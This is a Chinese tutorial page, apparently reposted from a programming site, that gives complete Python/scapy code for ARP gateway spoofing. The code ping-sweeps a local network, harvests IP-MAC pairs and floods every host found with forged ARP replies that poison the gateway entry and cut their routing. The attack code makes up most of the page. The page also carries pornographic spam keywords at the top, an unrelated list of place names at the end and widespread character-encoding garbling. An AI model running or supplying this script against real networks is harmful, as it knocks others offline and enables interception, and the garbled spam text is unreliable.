最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python利用scapy實(shí)現(xiàn)ARP欺騙的方法

 更新時(shí)間:2019年07月23日 10:16:29   作者:ShichimiyaSatone  
今天小編就為大家分享一篇Python利用scapy實(shí)現(xiàn)ARP欺騙的方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧

一、實(shí)驗(yàn)原理。

本次用代碼實(shí)現(xiàn)的是ARP網(wǎng)關(guān)欺騙,通過發(fā)送錯(cuò)誤的網(wǎng)關(guān)映射關(guān)系導(dǎo)致局域網(wǎng)內(nèi)其他主機(jī)無法正常路由。使用scapy中scapy.all模塊的ARP、sendp、Ether等函數(shù)完成包的封裝與發(fā)送。一個(gè)簡單的ARP響應(yīng)報(bào)文發(fā)送:

eth = Ether(src=src_mac, dst=dst_mac)#賦值src_mac時(shí)需要注意,參數(shù)為字符串類型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src為源,dst為目標(biāo),op=2為響應(yīng)報(bào)文、1為請求
pkt = eth / arp
endp(pkt)

因?yàn)閷?shí)驗(yàn)時(shí)發(fā)現(xiàn)主機(jī)并不會記錄來自網(wǎng)關(guān)的免費(fèi)ARP報(bào)文,無奈只有先想辦法把局域網(wǎng)內(nèi)存在的主機(jī)的IP-MAC映射關(guān)系拿到手,再逐個(gè)發(fā)送定向的ARP響應(yīng)報(bào)文。

二、運(yùn)行結(jié)果。

<1>先查看網(wǎng)關(guān),確保有網(wǎng):

<2>因?yàn)閟ocket需要sudo權(quán)限,所以以root權(quán)限跑起來:

<3>因?yàn)榇a寫的比較繁瑣,跑起來就比現(xiàn)場的工具慢很多,最后看下局域網(wǎng)內(nèi)主機(jī)的arp表:

網(wǎng)關(guān)172.16.0.254的MAC地址已經(jīng)從00:05:66:00:29:69變成01:02:03:04:05:06,成功!

三、實(shí)現(xiàn)代碼。

代碼過程:加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機(jī)->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報(bào)文。

如圖,代碼分為六個(gè)部分。其中的arpATC.py為主程序,pingScanner.py為主機(jī)掃描器,arpThread.py為掃描線程,atcThread.py為發(fā)包線程,gtwaySearch.py獲取網(wǎng)關(guān),macSearch.py讀取本機(jī)arp表。

<1>pingScanner.py

通過os.popen函數(shù)調(diào)用ping,使用正則匹配返回字符串判斷目標(biāo)主機(jī)是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同樣,調(diào)用os.popen函數(shù)帶入?yún)?shù)'arp -a'查看本地緩存的arp表信息。通過正則表達(dá)式截取每個(gè)IP對應(yīng)的MAC地址,保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通過使用正則截取os.popen('route -n')的返回值確定網(wǎng)關(guān)IP,把獲取的網(wǎng)關(guān)IP與MAC當(dāng)作元組返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考慮到ping掃描主機(jī)時(shí)遇到不存在的主機(jī)會等待過長的時(shí)間,使用多線程掃描就稍微會快一點(diǎn)。這里是通過繼承、重寫run方法實(shí)現(xiàn)功能的。因?yàn)椴惶珪刂贫嗑€程,所以這里寫死了,是四個(gè)線程平分255個(gè)可能存在的主機(jī)。

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
 

<5>atcThread.py

使用與arpThread.py中類似的方法繼承、重寫run方法實(shí)現(xiàn)多線程發(fā)包的功能。發(fā)包時(shí)源IP是指定的字符串“01:02:03:04:05:06”,源IP為獲取的網(wǎng)關(guān)IP,目標(biāo)IP和目標(biāo)MAC皆為從本機(jī)arp表中獲取的真實(shí)存在的主機(jī)IP與MAC。

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代碼的主程序,代碼過程:

加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機(jī)->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報(bào)文->等待。

(四線程) (四線程)

因?yàn)橹鞒绦蚴撬姥h(huán),所以即便是攻擊完成后也不會退出??梢栽赼rpThread啟動前加入for循環(huán),這樣就能無限發(fā)送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

以上這篇Python利用scapy實(shí)現(xiàn)ARP欺騙的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • 探索Python fcntl模塊文件鎖和文件控制的強(qiáng)大工具使用實(shí)例

    探索Python fcntl模塊文件鎖和文件控制的強(qiáng)大工具使用實(shí)例

    這篇文章主要介紹了Python fcntl模塊文件鎖和文件控制的強(qiáng)大工具使用實(shí)例探索,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2024-01-01
  • python求最大公約數(shù)和最小公倍數(shù)的簡單方法

    python求最大公約數(shù)和最小公倍數(shù)的簡單方法

    在本篇文章里小編給大家整理的是關(guān)于python求最大公約數(shù)和最小公倍數(shù)的簡單方法,需要的朋友們學(xué)習(xí)下。
    2020-02-02
  • Python 正則表達(dá)式的非捕獲組詳解

    Python 正則表達(dá)式的非捕獲組詳解

    非捕獲組 ((?:...)) 在 Python 正則表達(dá)式中用于分組但不保存匹配結(jié)果,通過 '?' 表示非捕獲標(biāo)記,常用于簡化正則表達(dá)式和提高性能,它在選擇、提高匹配性能和結(jié)構(gòu)化復(fù)雜表達(dá)式方面都有優(yōu)勢,本文介紹Python 正則表達(dá)式的非捕獲組的相關(guān)知識,感興趣的朋友一起看看吧
    2025-02-02
  • Python實(shí)現(xiàn)的幾個(gè)常用排序算法實(shí)例

    Python實(shí)現(xiàn)的幾個(gè)常用排序算法實(shí)例

    這篇文章主要介紹了Python實(shí)現(xiàn)的幾個(gè)常用排序算法實(shí)例例如直接插入排序、直接選擇排序、冒泡排序、快速排序等,需要的朋友可以參考下
    2014-06-06
  • 幫你快速上手Jenkins并實(shí)現(xiàn)自動化部署

    幫你快速上手Jenkins并實(shí)現(xiàn)自動化部署

    在未學(xué)習(xí)Jenkins之前,只是對Jenkins有一個(gè)比較模糊的理解,即Jenkins是一個(gè)自動化構(gòu)建項(xiàng)目發(fā)布的工具,可以實(shí)現(xiàn)代碼->github或者gitlab庫->jenkins自動部署->訪問的整體的過程,而無需人為重新打包,今天就帶大家詳細(xì)了解一下,幫你快速上手Jenkins,需要的朋友可以參考下
    2021-06-06
  • 基于Python Dash庫制作酷炫的可視化大屏

    基于Python Dash庫制作酷炫的可視化大屏

    在數(shù)據(jù)時(shí)代,我們每個(gè)人既是數(shù)據(jù)的生產(chǎn)者,也是數(shù)據(jù)的使用者,然而初次獲取和存儲的原始數(shù)據(jù)雜亂無章、信息冗余、價(jià)值較低。要想數(shù)據(jù)達(dá)到生動有趣、讓人一目了然、豁然開朗的效果,就需要借助數(shù)據(jù)可視化。本文將介紹通過Dash庫制作酷炫的可視化大屏!需要的可以參考下
    2021-12-12
  • RSA加密算法Python實(shí)現(xiàn)方式

    RSA加密算法Python實(shí)現(xiàn)方式

    這篇文章主要介紹了RSA加密算法Python實(shí)現(xiàn)方式,具有很好的參考價(jià)值,希望對大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-02-02
  • python實(shí)現(xiàn)在cmd窗口顯示彩色文字

    python實(shí)現(xiàn)在cmd窗口顯示彩色文字

    今天小編就為大家分享一篇python實(shí)現(xiàn)在cmd窗口顯示彩色文字,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-06-06
  • Python配置mysql的教程(推薦)

    Python配置mysql的教程(推薦)

    下面小編就為大家?guī)硪黄狿ython配置mysql的教程(推薦)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2017-10-10
  • python實(shí)現(xiàn)三子棋游戲

    python實(shí)現(xiàn)三子棋游戲

    這篇文章主要為大家詳細(xì)介紹了python實(shí)現(xiàn)三子棋游戲,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-05-05

最新評論

全南县| 鄂尔多斯市| 柘城县| 古田县| 黑山县| 界首市| 绵阳市| 襄樊市| 土默特右旗| 广平县| 湟中县| 吉首市| 化德县| 桂东县| 五常市| 大新县| 舞钢市| 莆田市| 吉木乃县| 大悟县| 河北区| 宣恩县| 会同县| 六枝特区| 克东县| 湖口县| 张掖市| 五寨县| 阿合奇县| 尉犁县| 大庆市| 河曲县| 江山市| 临漳县| 罗定市| 纳雍县| 封开县| 古交市| 从江县| 兰考县| 南陵县|